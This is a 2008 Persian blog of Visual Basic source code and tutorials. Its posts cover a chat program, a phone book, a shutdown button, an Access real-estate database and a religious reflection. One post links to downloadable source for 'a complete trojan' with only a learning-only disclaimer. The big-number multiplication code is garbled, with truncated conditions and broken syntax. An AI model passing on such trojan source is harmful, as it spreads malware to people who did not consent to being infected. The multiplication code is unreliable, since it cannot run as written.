سورس کدهای ویژوال بیسیک

سورس کد نرم افزار چت

vb-source-code — Mon, 16 Jun 2008 13:38:18 GMT

سورس کد از آقای Aminf2008:

نرم افزار چت سرور/کلاینت(426 کیلو بایت):

http://aminf2008.110mb.com/NetManager.zip

واقعآ شما به این وبلاگ سر می زنید یا آمارگیر وبلاگ گیرپاچ کرده (متوسط بالای50 بازدید در روز )

نظر بدین و از وبلاگ انتقاد کنید و پیشنهادات خود را هم از ما دریغ نکنید.

ما را در ادامه کار دلگرم کنید(نظر بدین)...

تا بعد از امتحانات دانشگاه (12 تیرماه) خدانگهدار...

سورس کد دفترچه تلفن

vb-source-code — Mon, 16 Jun 2008 13:34:18 GMT

سورس کد از آقای Aminf2008:

سورس کد دفترچه تلفن(660 کیلو بایت):

http://aminf2008.110mb.com/PhoneBook.zip

سورس کد تروجان

vb-source-code — Mon, 16 Jun 2008 13:29:18 GMT

از دوست عزیز و گرامی آقای Aminf2008 به خاطر این سورس کد تشکر می کنم.

یک تروجان کامل(157 کیلو بایت):

لطفاَ فقط ؛برای یادگیری نحوه عملکرد سورس کد استفاده کنید.(نه موارد خرابکارانه)

http://aminf2008.110mb.com/SubTrust.zip

خاموش کردن سیستم

vb-source-code — Thu, 12 Jun 2008 16:29:18 GMT

جهاني فكر كنيد؟ محلي عمل كنيد!

------------------------------------------------------>Bill Gates<---------------------------------------------------

با یک دستور Shell به راحتی دکمه Shutdown طراحی کنید.

با دستور ("Shell ("Shutdown -s -t 60 این کار را انجام دهید.

یک دکمه بر روی فرم قرار دهید و دستور مذکور را در آن کپی کنید.

زمان خاموش کردن سیستم ۶۰ ثانیه هست مقدار دلخواه خود را وارد کنید.

پارامترها:

s- باعث خاموش شدن سیستم می شود به جای آن مقادیر زیر رامی توانید وارد کنید.

r- : ریست کردن سیستم

t-: مدت زمان مورد نظر برای خاموش شدن سیستم

پارامترها به همین جا ختم نمی شود. دستوراتی برای Log Off و خاموش کردن کامپیوتر شبکه از راه دور و... داریم.

بدون نظر مگه میشه!!!! ()

فرم MDI و نوار وضعیت (بانک اطلاعاتی-4)

vb-source-code — Wed, 11 Jun 2008 14:39:18 GMT

سلام به همه ی دوستانی که مباحث بانک اطلاعاتی را تا به اینجا دنبال کرده اند.مباحث مقدماتی در رابطه با طراحی بانک اطلاعاتی به طور کامل شرح داده شد.چون پروژه ی نسبتاَ سنگینی خواهد شد از این به بعد مباحث پست طولانی تر خواهد شد.(افراد مشتاق مسلماَ خسته نخواهند شد)

ویژوال بیسیک را اجرا و گزینه ی Project>Add MDI Form را انتخاب کنید.این فرم اصلی برنامه ی ما هست و مانند ظرفی بزرگ تمامی فرم ها را داخل خود جای می دهد.

خصوصیات فرم MDI:

Name: MdiFrmMain (حتما همین نام باشد)

Caption: نرم افزار مشاور املاک 1.0

Icon: برنامه بدون آیکان برای هیچ کاربری جذاب نیست؛پس دست به کارشوید.

Picture: عکس پس زمینه برنامه (می توانید از این عکس استفاده کنید. لینک عکس)

Window State: 2-Maximized (برنامه تمام صفحه اجرا شود)

می خواهیم برنامه دارای Statusbar(نوار وضعیت) ؛Toolbar(نوار ابزار) و همچنین Tabstrip (تب های چند گانه در تنظیمات برنامه) باشد.

ابتدا CTRL+T را فشار دهید تا کادر Component ظاهر شود حال گزینه ی Microsoft Common Control 6.0 را انتخاب و OK کنید.9 کنترل به برنامه افزوده خواهد شد.کنترل Statusbar را به برنامه بیافزائید و خاصیت Name آن را به stbMDI تغییر دهید.

کنترل را انتخاب کنید و در قسمت Properties روی دکمه ی سمت راست خاصیت Custom کلیک کنید تا کادر Property Pages ظاهر شود به برگه ی Panels بروید در قسمت Text وارد کنید:

جهت کمک و پشتیبانی دکمه ی F1 را بزنید و خاصیت Autosize در همین کادر را به 1-sbrSpring تغییر دهید تا پانل جاری کل نوار وضعیت را بپوشاند.به برگه ی Font بروید و نوع فونت را در قسمت Font به Arial(Arabic) تغییر دهید و Apply را فشار دهید تا متن را در قسمت نوار وضعیت مشاهده کنید.

در همین کادر در برگه ی Panels روی دکمه ی Insert Panel کلیک کنید یک پانل دیگر با اندیس 2 افزوده خواهد شد.در قسمت Index عدد 2 را تایپ کنید و در جعبه متنی دیگر کلیک کنید تا به پانل 2 بروید.خاصیت Autosize را به 1-sbrContent تغییر دهید و OK کنید.اکنون نوار وضعیت به دو بخش تقسیم شده است.می خواهیم در پانل سمت راست ساعت به نمایش در بیاید. اکنون یک Timer با نام TmrClock و Interval=1000 به برنامه بیافزائید.روی تایمر دو بار کلیک کنید تا حالت کدنویسی بیایدخط زیر را به برنامه بیافزائید:

stbMDI.Panels(2).Text=Time

حال در رویداد Load فرم اصلی (MDI Form) بنویسید:

Call TmrClock_Timer

*تابع Time: زمان جاری سیستم را برمی گرداند.

نکته مهم: اگر تابع را فراخوانی نکنید باز هم کار خواهد کرد ولی با 1 ثانیه تأخیر (امتحان کنید.)

پیشنهاد: اگر فونت ریز نوار وضعیت توی ذوق می زند در قسمت Custom نوار وضعیت وارد شوید و در برگه ی Font سایز مورد نظر را وارد کنید. (خصوصیات Bold,Italic,Underline و ...)

حال نیاز به یک فرم داریم تا در داخل آن بتوانیم قسمت: خانه؛باغ و ... را انتخاب کنیم. یک فرم با خصوصیات زیر طراحی کنید:

Name:frmTools

Borderstyle: 1-Fixed Single

Caption: مدیریت بخش ها

*MDI Child: True (اگر True نکنید در داخل پنجره ی MdiFrmMain باز نخواهد شد.)

ShowInTaskbar: False (عدم نمایش در نوار وظیفه)

Height: ارتفاع فرم را به 4380 تغییر دهید.(بر حسب Twips)

Width: پهنای فرم را به 2085 تغییر دهید.

جهت نمایش FrmTools در فرم اصلی برنامه کافی است در رویداد Load فرم MdiFrmMain بنویسید:

FrmTools.Show

در فرم FrmTools یک دکمه با نام CmdManage بیافزائید حال آن را کپی کنید و بر روی فرم Paste کنید از شما خواهد پرسید که آیا می خواهید آرایه ای از کنترل ها ایجاد کنید؟ در جواب بر روی Yes کلیک کنید و اینگونه دو دکمه دیگر بیافزائید. (جمعاَ 4 دکمه تحت یک نام با اندیس های متفاوت به برنامه افزوده شد.)

هر چهار دکمه را با هم انتخاب کنید و در قسمت Properties خاصیت Style را به Graphical-1 تغییر دهید. دکمه ها را از حالت انتخاب خارج کنید؛ حال Caption تمامی دکمه ها را خالی کنید تا بدون عنوان شوند. عکس های زیر را در رایانه تان ذخیره کنید. سپس در خاصیت Picture هر کدام از دکمه ها به ترتیب عکس های زیر راقرار دهید:

CmdChange(0): عکس خانه

CmdChange(1): عکس مغازه

CmdChange(2): عکس زمین

CmdChange(3): عکس باغ

نمای کلی برنامه

ایام فاطمیه

vb-source-code — Fri, 06 Jun 2008 15:39:03 GMT

ایام شهادت دخت نبی اکرم بر همه ی کاربران عزیز تسلیت باد.پیشنهاد می کنم حتما چند سطر زیر را بخوانید و از راز خلقت آفرینش آگاهی یابید.(خیلی جالب است)

راز خلقت آفرینش

رسول خدا فرمود: هنگامى كه خداى تعالى حضرت آدم ابوالبشر را آفريد و از روح خود در او بدميد، آدم به جانب راست عرش نظر افكند، آنجا پنج شبح غرقه در نور به حال سجده و ركوع مشاهده كرد، عرض كرد: خدايا قبل از آفريدن من، كسى را از خاك خلق كرده‏اى؟ خطاب آمد: نه، نيافريده‏ام. عرض كرد: پس اين پنج شبح كه آنها را در هيئت و صورت همانند خود مى‏بينم چه كسانى هستند؟
خداى تعالى فرمود: اين پنج تن از نسل تو هستند، اگر آنها نبودند، ترا نمى‏آفريدم، نامهاى آنان را از اسامى خود مشتق كرده‏ام (و من خود آنان را نامگذارى كرده‏ام)، اگر اين پنج تن نبودند، نه بهشت و دوزخ را مى‏آفريدم و نه عرش و كرسى را، نه آسمان و زمين را خلق مى‏كردم و نه فرشتگان و انس و جن را.
منم محمود و اين محمد است، منم عالى و اين على است، منم فاطر و اين فاطمه است، منم احسان و اين حسن است، و منم محسن و اين حسين است. به عزتم سوگند، هر بشرى اگر به مقدار ذره‏ى بسيار كوچكى كينه و دشمنى هر يك از آنان را در دل داشته باشد، او را در آتش دوزخ مى‏افكنم... يا آدم، اين پنج تن، برگزيدگان من هستند و نجات و هلاك هركس وابسته به حب و بغضى است كه نسبت به آنان دارد. يا آدم، هر وقت از من حاجتى مى‏خواهى، به آنان توسل كن.
ابوهريره مى‏گويد، پيامبر اكرم در ادامه‏ى سخن فرمود: ما پنج تن كشتى نجاتيم، هركس با ما باشد، نجات يابد، و هركس كه از ما روگردان شود هلاك گردد. پس هركس حاجتى از خدا مى‏خواهد پس به وسيله‏ى ما اهل‏بيت از حضرت حق تبارك و تعالى مسئلت نمايد».
حقيقت آنست كه پنج تن مقدّس رمز خلقتند:
يا أحمَدُ! لَو لاكَ لَما خَلَقتُ الأفلاكَ، وَ لَو لا عَلِىُّ لَما خَلَقتُكَ، وَ لَو لا فاطِمَةُ لَماخَلقُتُكما. (1)
اى احمد! اگر تو نبودى آسمان و زمين نمى‏آفريدم و اگر على نبود تو را نمى‏آفريدم و اگر فاطمه نبود شما را نمى‏آفريدم (يعنى شمايان رمز خلقتيد).
و فاطمه حوريّه‏اى بود كه چند صباحى لباس آدميان در بر نمود.

منبع

نسخه ی آزمایشی نرم افزار مشاور املاک

vb-source-code — Wed, 04 Jun 2008 16:30:18 GMT

جهت دانلود نسخه آزمایشی نرم افزار مشاور املاک ابتدا روی لینک زیر کلیک کنید سپس در صفحه ی مذکور روی گزینه Click Here To Download کلیک کنید.

طبق تصویر زیر:

توجه:: در صورتی که نرم افزار در سیستم شما کار نکرد در قسمت نظرات بگوئید تا رفع مشکل کنم.

نرم افزار در سیستم من درست کار کرد.

تا از سرور حذف نشده سریع دانلود کنید.

Click Here To Download

برنامه نویسی بانک های اطلاعاتی سری 3

vb-source-code — Wed, 04 Jun 2008 09:28:18 GMT

زندگی به تو اطمینان نمی دهد بلکه فقط به تو فرصت می دهد.

------------------------------------->مک آرتور<----------------------------------

افزودن اطلاعات به جدول:

در صفحه ی VisData (شرح آن گذشت) File>Open Database>Microsoft Access را برگزینید. بانک اطلاعاتی Bank.Mdb را که قبلا ایجاد نمودیم باز کنید. حال پنجره ی Database Window ظاهر خواهد شد روی نام جدول دو بار متوالی کلیک کنید تا جدول باز شود. کادر Table:Students ظاهر خواهد شد جهت افزودن اطلاعات روی دکمه ی ADD کلیک کنید؛ اطلاعات را وارد کنید و روی دکمه ی Update کلیک کنید تا اطلاعات در جدول ثبت شود.(اگر منصرف شدید روی Cancel کلیک کنید.)

جهت ویرایش اطلاعات قبلی به جای ADD روی دکمه ی Edit کلیک کنید. جهت حذف رکورد روی دکمه ی Delete کلیک کنید. دکمه های پیمایش در کادر مذکور:

>| برگشت به اولین رکورد.

|< مراجعه به آخرین رکورد.

< یک رکورد به جلو پیمایش می کند.

> یک رکورد به عقب برمی گردد.

روی OK کلیک کنید و کادر را ببندید. در پنجره ی VisData در بخش Database Window گزینه ای با نام Properties (خصوصیات) وجود دارد؛ علامت + سمت چپ آن را بزنید تا مشخصات کلی جدول Students را مشاهده کنید.

در جلسه ی بعدی وارد برنامه نویسی بانک اطلاعاتی در وی بی خواهیم شد.

توجه توجه

چون ازقبل قول آموزش ساخت نرم افزار مشاور املاک را داده بودم در بانک اطلاعاتی Bank.Mdb جدول Students را حذف کنید و5 جدول زیر را طبق آموش های قبلی به برنامه بیافزائید:

1-نام جدول: Garden(باغ)

فیلدها:Name,Family,Address,fruit,pic,masahat,tel,cost,mob همه از نوع Text

فیلدهای بالا به ترتیب برای موبایل؛قیمت؛تلفن؛مساحت؛عکس؛نوع میوه؛آدرس و در آخر نام خانوادگی و نام.

Comment از نوع Memo جهت توضیحات اضافی

2-نام جدول: Earth(زمین)

فیلدها: Name,Family,address,pic,cost,masahat,tel,mob,earthposition همه از نوع Text

فیلدهای بالا به ترتیب برای موقعیت زمین؛موبایل؛تلفن؛مساحت؛قیمت؛عکس؛آدرس؛فامیلی و نام.

Comment از نوع Memo

3-نام جدول: HEjare (اجاره خانه)

فیلدها: Name,family,address,tel,mobile,pic,nafar,totagh همه از نوع Text.

فیلدهای بالا به ترتیب برای تعداد اتاق؛نفرات؛عکس؛موبایل؛تلفن؛آدرس؛فامیلی و نام.

ghejare,ghpish از نوع Long (پول پیش و پول اجاره)

Comment از نوع Memo

4-نام جدول: Shop (مغازه)

فیلدها: name,family,address,pic,tel,mobهمه از نوع Text

Comment از نوع Memo

ghejare,ghrahn از نوع Long

5-نام جدول: HRahn (رهن خانه)

فیلدها:Name,family,address,tel,mobile ,pic,totagh,nafar همه از نوع Text.

Comment از نوع Memo.

ghrahn,ghejare از نوع Long

شاید خیلی از قواعد باشد که من رعایت نکرده باشم پس اگر مشکلی بود لطف کنید من را در جریان بگذارید تا فیلدها و جداول را اصلاح نمایم.

نکته1= تلفن چون اولش صفر دارد مجبوریم Text انتخاب کنیم چون اگر Longباشد صفر اول رقم حذف می شود.

* در زندگی بارون نباش که فکر کنند خودتو با منت به شیشه می کوبی؛ ابر باش تا منتظرت باشند که بباری.

ضرب عدد 100 رقمی در سه رقمی

vb-source-code — Tue, 03 Jun 2008 11:42:18 GMT

احمد از مارلیک:

چگونه یک عدد صد رقمی را در سه رقمی با استفاده از آرایه ها ضرب کنیم.

جواب:

در حالت عادی ضرب عددی صد رقمی در سه رقمی باعث ایجاد خطای Over Flow می گردد. جهت برطرف نمودن این مشکل ما از الگوریتم زیر استفاده می نمائیم.

ابتدا باید عدد 100 رقمی و 3 رقمی گرفته شود سپس ارقام آن به طور جداگانه در خانه های آرایه قرار گیرد. سپس عملیات ضرب را آغاز می کنیم.

Option Base 1 ' باعث می شود اندیس آرایه از یک شروع شود

F=false

Help2[1]=0

Help3[1]=0

Help3[2]=0

I=0

Temp=Val(InputBox("Enter First Number: ")) ' عدد صد رقمی را وارد کنید

Do While temp>0

I=i+1

Hundred[i]=Temp mod 10

Temp=Temp\10

Loop

Indx=0

Temp=Val(InputBox("Enter Second Number: ")) 'عدد سه رقمی را وارد کنید

Do While Indx<=3

Indx=Indx+1

Three[Indx]=Temp mod 10

Temp=Temp\10

Loop

For k=1 to 3

For j=1 to i

If overf=true then

Temp=(Three[k]*Hundred[j])+sec

Overf=false

Else:

Temp=Three[k]*Hundred[j]

End if

Select case k

Case 1:

If (Temp>9) and (j

Help1[j]=Temp mod 10

Sec=temp\10

Overf=True

Else if (Temp>9) and (j=i) then

Help1[j]=temp mod 10

Help1[j+1]=temp\10

Overf=false

Else

Help1[j]=temp

End If

Case 2:

If (Temp>9) and (j

Help2[j+1]=Temp mod 10

Sec=Temp\10

Overf=true

Else if (Temp>9) and (j=i) then

Help2[j+1]=Temp mod 10

Help2[j+2]=Temp\10

Overf=False

Else

Help2[j+1]=Temp

End If

Case 3:

If (Temp>9) and (j

Help3[j+2]=Temp mod 10

Sec=Temp\10

Overf=True

Else if (Temp>9) And (j=i) then

Help3[j+2]=Temp mod10

Help3[j+3]=Temp\10

Overf=False

LP=J+3

Else

Help3[j+2]=Temp

End if

End Select

Next j

Next k

For z=1 to LP

If (overf=true) then

Temp=(Help1[z]+Help2[z]+Help3[z])+Sec)

Else

Temp=(Help1[z]+Help2[z]+Help3[z])

End if

If (Temp>9) and (z=LP) then

Final[z]=Temp mod 10

Final[z+1]=Temp\10

Else

Final[z]=Temp

Overf=False

End if

Next z

اگر در جائی نیاز به توضیح بود بگوئید تا در همین پست توضیحات مورد نظر را اضافه کنم.

نظر یادتون نره!!!!!

برنامه نویسی بانک های اطلاعاتی سری-2

vb-source-code — Wed, 14 May 2008 16:49:18 GMT

آنچنان زندگی کن که انگار می خواهند هر رفتار تو را تبدیل به یک رفتار جهانی بکنند.

------------------------> امانوئل کانت >-------------------------

انواع فیلدها در بانک اطلاعاتی اکسس:

1- text: مناسب برای فیلدهای متنی

2- Numeric: مناسب برای فیلدهای عددی

3- Memo: اگر فیلد توضیحات; آدرس و ... را در برنامه ی خود دارید که هم متنی و هم طولانی است از این نوع فیلد استفاده کنید.

4- Boolean: مقدار True/False. مناسب برای فیلدهای جنسیت افراد;متأهل یا مجردی و فیلدهایی که بیشتر از دو حالت ندارد به کار می رود.

5- Currency: برای فیلدهای از نوع پولی; دارای چهار رقم اعشار است.

6- Date/Time: برای فیلدهای از نوع تاریخ و زمان. مثال: ساعت شروع کلاس;تاریخ ورود دانشجو.

* بانک اطلاعاتی اکسس با پسوند MDB می باشد.

برای شروع کار و ایجاد بانک اطلاعاتی و خواندن مطالب بیشتر روی ادامه مطلب کلیک کنید.